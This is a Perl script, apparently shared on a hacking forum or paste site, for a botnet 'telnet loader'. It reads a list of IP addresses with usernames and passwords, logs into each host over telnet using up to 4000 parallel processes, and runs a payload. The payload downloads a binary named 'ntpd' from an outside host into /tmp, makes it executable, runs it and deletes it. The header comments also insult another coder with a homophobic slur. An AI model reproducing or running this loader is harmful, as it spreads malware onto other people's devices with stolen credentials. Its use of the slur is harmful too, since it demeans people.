[Perl] Telnet-Loader | Format: IP:USERNAME:PASSWORD

#!/usr/bin/perl
# - - - - - - - - - - - - - - - - - - - - - - - #
#   Telnet Loader
#   IP:USERNAME:PASSWORD format
#   Created because LNO_LIGHT is gay
#   & doesn't know how to code a working loader
#   this is LNOs' gay python version
#   http://pastebin.com/SGKZY757
#   as you can see, it doesn't/won't
#   connect/execute the payload lool
#   so if you're dearest friends with
#   LNO_LiGHT please consist of showing
#   him this elegant code :)
# - - - - - - - - - - - - - - - - - - - - - - - #
#   Usage: perl telnet_loader.pl telnet_list.txt
#   Format: IP:USER:PASS
# - - - - - - - - - - - - - - - - - - - - - - - #
if (@ARGV < 1)
{
	print "Usage: perl " . $0 . " <list>\n";
	exit;
}
use Net::Telnet;
use Parallel::ForkManager;
my $worker = new Parallel::ForkManager(4000); # threads to use
open(fh, "<", @ARGV[0]); @login; while (<fh>) #don't edit this, "perl telnet_loader.pl telnet_list.txt"
{
	@array = split(":", $_); push(@login, @array);
}
for (my $i = 0; $i < scalar(@login); $i += 3)
{
	$worker->start and next;
	$a = $i + 2; # IP Address
	$b = $i; # Username
	$c = $i + 1; # Password
	$telnet = new Net::Telnet(Errmode=>"return");
	if ($telnet->open($login[$a]))
	{
		if ($telnet->login(($login[$b] == "" ? "\0" : $login[$b]), ($login[$c] == "" ? "\0" : $login[$c])))
		{
	 		$telnet->cmd("cd /tmp/; wget 1.3.3.7/ntpd; chmod 777 *; ./ntpd; rm -fr ntpd"); #payload
			sleep 30;
			print "[\033[32m+\033[37m] Command sent to $login[$a]\n";
		}
		else
		{
			print "[\033[31m-\033[37m] Cannot authenticate $login[$a]\n";
		}
	}
	else
	{
		print "[\033[31m-\033[37m] Cannot connect to $login[$a]\n";
	}
	$worker->finish;
}
$worker->wait_all_children;